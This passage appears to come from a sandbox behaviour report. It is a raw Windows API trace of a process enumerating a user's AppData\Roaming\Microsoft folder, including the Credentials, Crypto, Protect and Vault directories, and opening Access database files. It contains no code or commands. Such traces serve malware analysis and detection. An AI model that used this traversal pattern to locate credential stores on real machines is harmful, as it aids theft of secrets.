ftLastAccessTime.dwHighDateTime=0x1d327c2, ftLastWriteTime.dwLowDateTime=0xd65f9933, ftLastWriteTime.dwHighDateTime=0x1d327c2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1 [0231.110] FindNextFileW (in: hFindFile=0x134b040, lpFindFileData=0x204ed700 | out: lpFindFileData=0x204ed700*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x300a046, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x300a046, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x300a046, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Word", cAlternateFileName="")) returned 1 [0231.110] FindNextFileW (in: hFindFile=0x134b040, lpFindFileData=0x204ed700 | out: lpFindFileData=0x204ed700*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x300a046, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x300a046, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x300a046, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Word", cAlternateFileName="")) returned 0 [0231.110] FindClose (in: hFindFile=0x134b040 | out: hFindFile=0x134b040) returned 1 [0231.110] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ed960) returned 1 [0231.110] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ed920) returned 1 [0231.110] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204eda20) returned 1 [0231.110] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft", nBufferLength=0x105, lpBuffer=0x204ed4c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft", lpFilePart=0x0) returned 0x29 [0231.110] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\*", lpFindFileData=0x204ed740 | out: lpFindFileData=0x204ed740*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xee6ea6d8, ftLastAccessTime.dwHighDateTime=0x1d47c36, ftLastWriteTime.dwLowDateTime=0xee6ea6d8, ftLastWriteTime.dwHighDateTime=0x1d47c36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134aa40 [0231.110] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x204ed700 | out: lpFindFileData=0x204ed700*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xee6ea6d8, ftLastAccessTime.dwHighDateTime=0x1d47c36, ftLastWriteTime.dwLowDateTime=0xee6ea6d8, ftLastWriteTime.dwHighDateTime=0x1d47c36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0231.110] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x204ed700 | out: lpFindFileData=0x204ed700*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3385793c, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x33c5d8bc, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x33c5d8bc, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Access", cAlternateFileName="")) returned 1 [0231.110] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x204ed700 | out: lpFindFileData=0x204ed700*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x208511b9, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x208511b9, ftLastAccessTime.dwHighDateTime=0x1d327b4, ftLastWriteTime.dwLowDateTime=0x208511b9, ftLastWriteTime.dwHighDateTime=0x1d327b4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AddIns", cAlternateFileName="")) returned 1 [0231.110] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x204ed700 | out: lpFindFileData=0x204ed700*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2d0f124, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x2d0f124, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x2d35364, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bibliography", cAlternateFileName="BIBLIO~1")) returned 1 [0231.110] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x204ed700 | out: lpFindFileData=0x204ed700*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x39c1605f, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd370742a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x39c1605f, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Credentials", cAlternateFileName="CREDEN~1")) returned 1 [0231.110] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x204ed700 | out: lpFindFileData=0x204ed700*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x789ca310, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x789ca310, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x789cc9c3, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Crypto", cAlternateFileName="")) returned 1 [0231.111] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x204ed700 | out: lpFindFileData=0x204ed700*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x32ff935, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x32ff935, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x32ff935, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Document Building Blocks", cAlternateFileName="DOCUME~1")) returned 1 [0231.111] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x204ed700 | out: lpFindFileData=0x204ed700*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x208e9b07, ftCreationTime.dwHighDateTime=0x1d327b4, ftLastAccessTime.dwLowDateTime=0x12e96cf, ftLastAccessTime.dwHighDateTime=0x1d327c7, ftLastWriteTime.dwLowDateTime=0x12e96cf, ftLastWriteTime.dwHighDateTime=0x1d327c7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Excel", cAlternateFileName="")) returned 1 [0231.111] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x204ed700 | out: lpFindFileData=0x204ed700*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe8923b24, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd3800a8f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe8923b24, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="InputMethod", cAlternateFileName="INPUTM~1")) returned 1 [0231.111] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x204ed700 | out: lpFindFileData=0x204ed700*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x34791fac, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xabc78877, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xabc78877, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Internet Explorer", cAlternateFileName="INTERN~1")) returned 1 [0231.111] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x204ed700 | out: lpFindFileData=0x204ed700*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc79a26a4, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xc79a26a4, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xc79a26a4, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MMC", cAlternateFileName="")) returned 1 [0231.111] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x204ed700 | out: lpFindFileData=0x204ed700*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee6ea6d8, ftCreationTime.dwHighDateTime=0x1d47c36, ftLastAccessTime.dwLowDateTime=0xee6ea6d8, ftLastAccessTime.dwHighDateTime=0x1d47c36, ftLastWriteTime.dwLowDateTime=0xee6ea6d8, ftLastWriteTime.dwHighDateTime=0x1d47c36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS Project", cAlternateFileName="MSPROJ~1")) returned 1 [0231.111] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x204ed700 | out: lpFindFileData=0x204ed700*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab3fa09c, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xab3fa09c, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xab3fa09c, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Network", cAlternateFileName="")) returned 1 [0231.111] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x204ed700 | out: lpFindFileData=0x204ed700*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2f2525a, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x15925c1b, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x15925c1b, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office", cAlternateFileName="")) returned 1 [0231.111] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x204ed700 | out: lpFindFileData=0x204ed700*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b1656b, ftCreationTime.dwHighDateTime=0x1d327c8, ftLastAccessTime.dwLowDateTime=0xa8b1656b, ftLastAccessTime.dwHighDateTime=0x1d327c8, ftLastWriteTime.dwLowDateTime=0xdd629eb7, ftLastWriteTime.dwHighDateTime=0x1d327c8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Outlook", cAlternateFileName="")) returned 1 [0231.111] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x204ed700 | out: lpFindFileData=0x204ed700*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1b00229f, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x1b00229f, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x1b00229f, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPoint", cAlternateFileName="POWERP~1")) returned 1 [0231.111] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x204ed700 | out: lpFindFileData=0x204ed700*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6f58c1c, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x6f58c1c, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x6f58c1c, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof", cAlternateFileName="")) returned 1 [0231.111] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x204ed700 | out: lpFindFileData=0x204ed700*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2fb5efac, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x3b7903de, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x3b7903de, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Protect", cAlternateFileName="")) returned 1 [0231.111] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x204ed700 | out: lpFindFileData=0x204ed700*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x422eea37, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x422eea37, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x422eea37, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Publisher", cAlternateFileName="PUBLIS~1")) returned 1 [0231.111] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x204ed700 | out: lpFindFileData=0x204ed700*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x43fd72ee, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0xde511f85, ftLastAccessTime.dwHighDateTime=0x1d3aafb, ftLastWriteTime.dwLowDateTime=0xde511f85, ftLastWriteTime.dwHighDateTime=0x1d3aafb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Publisher Building Blocks", cAlternateFileName="PUBLIS~2")) returned 1 [0231.111] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x204ed700 | out: lpFindFileData=0x204ed700*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd38fae20, ftCreationTime.dwHighDateTime=0x1d327c8, ftLastAccessTime.dwLowDateTime=0xd38fae20, ftLastAccessTime.dwHighDateTime=0x1d327c8, ftLastWriteTime.dwLowDateTime=0xd38fae20, ftLastWriteTime.dwHighDateTime=0x1d327c8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Signatures", cAlternateFileName="SIGNAT~1")) returned 1 [0231.111] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x204ed700 | out: lpFindFileData=0x204ed700*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7161656c, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xe2954bc8, ftLastAccessTime.dwHighDateTime=0x1d336d6, ftLastWriteTime.dwLowDateTime=0xe2954bc8, ftLastWriteTime.dwHighDateTime=0x1d336d6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Speech", cAlternateFileName="")) returned 1 [0231.111] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x204ed700 | out: lpFindFileData=0x204ed700*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd38d4b92, ftCreationTime.dwHighDateTime=0x1d327c8, ftLastAccessTime.dwLowDateTime=0xd38d4b92, ftLastAccessTime.dwHighDateTime=0x1d327c8, ftLastWriteTime.dwLowDateTime=0xd38d4b92, ftLastWriteTime.dwHighDateTime=0x1d327c8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stationery", cAlternateFileName="STATIO~1")) returned 1 [0231.111] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x204ed700 | out: lpFindFileData=0x204ed700*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab505145, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xab505145, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xab505145, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SystemCertificates", cAlternateFileName="SYSTEM~1")) returned 1 [0231.111] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x204ed700 | out: lpFindFileData=0x204ed700*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xacdbc5f1, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0xe3719c0d, ftLastAccessTime.dwHighDateTime=0x1d3aafb, ftLastWriteTime.dwLowDateTime=0xf50bbe18, ftLastWriteTime.dwHighDateTime=0x1d3aafb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1 [0231.112] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x204ed700 | out: lpFindFileData=0x204ed700*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xed4f486b, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0xed4f486b, ftLastAccessTime.dwHighDateTime=0x1d327b5, ftLastWriteTime.dwLowDateTime=0xed4f486b, ftLastWriteTime.dwHighDateTime=0x1d327b5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UProof", cAlternateFileName="")) returned 1 [0231.112] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x204ed700 | out: lpFindFileData=0x204ed700*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbfaff70b, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xd3bb556b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xbfaff70b, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Vault", cAlternateFileName="")) returned 1 [0231.112] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x204ed700 | out: lpFindFileData=0x204ed700*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x210870f2, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xd65f9933, ftLastAccessTime.dwHighDateTime=0x1d327c2, ftLastWriteTime.dwLowDateTime=0xd65f9933, ftLastWriteTime.dwHighDateTime=0x1d327c2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1 [0231.112] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x204ed700 | out: lpFindFileData=0x204ed700*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x300a046, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x300a046, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x300a046, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Word", cAlternateFileName="")) returned 1 [0231.112] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x204ed700 | out: lpFindFileData=0x204ed700*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0231.112] FindClose (in: hFindFile=0x134aa40 | out: hFindFile=0x134aa40) returned 1 [0231.112] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ed960) returned 1 [0231.112] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ed920) returned 1 [0231.112] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ecff0) returned 1 [0231.112] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Access", nBufferLength=0x105, lpBuffer=0x204eca90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Access", lpFilePart=0x0) returned 0x30 [0231.112] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Access\\*", lpFindFileData=0x204ecd10 | out: lpFindFileData=0x204ecd10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3385793c, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x33c5d8bc, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x9e4036f4, ftLastWriteTime.dwHighDateTime=0x1d3aafb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b520 [0231.112] FindNextFileW (in: hFindFile=0x134b520, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3385793c, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x33c5d8bc, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x9e4036f4, ftLastWriteTime.dwHighDateTime=0x1d3aafb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0231.112] FindNextFileW (in: hFindFile=0x134b520, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33c5d8bc, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x33c5d8bc, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x3f1c0c3d, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x31000, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessCache.accdb", cAlternateFileName="ACCESS~1.ACC")) returned 1 [0231.112] FindNextFileW (in: hFindFile=0x134b520, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3387db8b, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x3387db8b, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x338a3dd1, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x1f000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.mdw", cAlternateFileName="")) returned 1 [0231.113] FindNextFileW (in: hFindFile=0x134b520, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0231.113] FindClose (in: hFindFile=0x134b520 | out: hFindFile=0x134b520) returned 1 [0231.113] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecf30) returned 1 [0231.113] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecef0) returned 1 [0231.113] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ecff0) returned 1 [0231.113] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Access", nBufferLength=0x105, lpBuffer=0x204eca90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Access", lpFilePart=0x0) returned 0x30 [0231.113] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Access\\*", lpFindFileData=0x204ecd10 | out: lpFindFileData=0x204ecd10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3385793c, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x9e4036f4, ftLastAccessTime.dwHighDateTime=0x1d3aafb, ftLastWriteTime.dwLowDateTime=0x9e4036f4, ftLastWriteTime.dwHighDateTime=0x1d3aafb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b580 [0231.113] FindNextFileW (in: hFindFile=0x134b580, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3385793c, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x9e4036f4, ftLastAccessTime.dwHighDateTime=0x1d3aafb, ftLastWriteTime.dwLowDateTime=0x9e4036f4, ftLastWriteTime.dwHighDateTime=0x1d3aafb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0231.113] FindNextFileW (in: hFindFile=0x134b580, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33c5d8bc, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x33c5d8bc, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x3f1c0c3d, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x31000, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessCache.accdb", cAlternateFileName="ACCESS~1.ACC")) returned 1 [0231.113] FindNextFileW (in: hFindFile=0x134b580, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3387db8b, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x3387db8b, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x338a3dd1, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x1f000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.mdw", cAlternateFileName="")) returned 1 [0231.113] FindNextFileW (in: hFindFile=0x134b580, lpFindFileData=0x204eccd0 | out: lpFindFileData=0x204eccd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3387db8b, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x3387db8b, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x338a3dd1, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x1f000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.mdw", cAlternateFileName="")) returned 0 [0231.113] FindClose (in: hFindFile=0x134b580 | out: hFindFile=0x134b580) returned 1 [0231.113] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecf30) returned 1 [0231.113] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecef0) returned 1 [0231.113] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Access\\AccessCache.accdb", nBufferLength=0x105, lpBuffer=0x204ec8d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Access\\AccessCache.accdb", 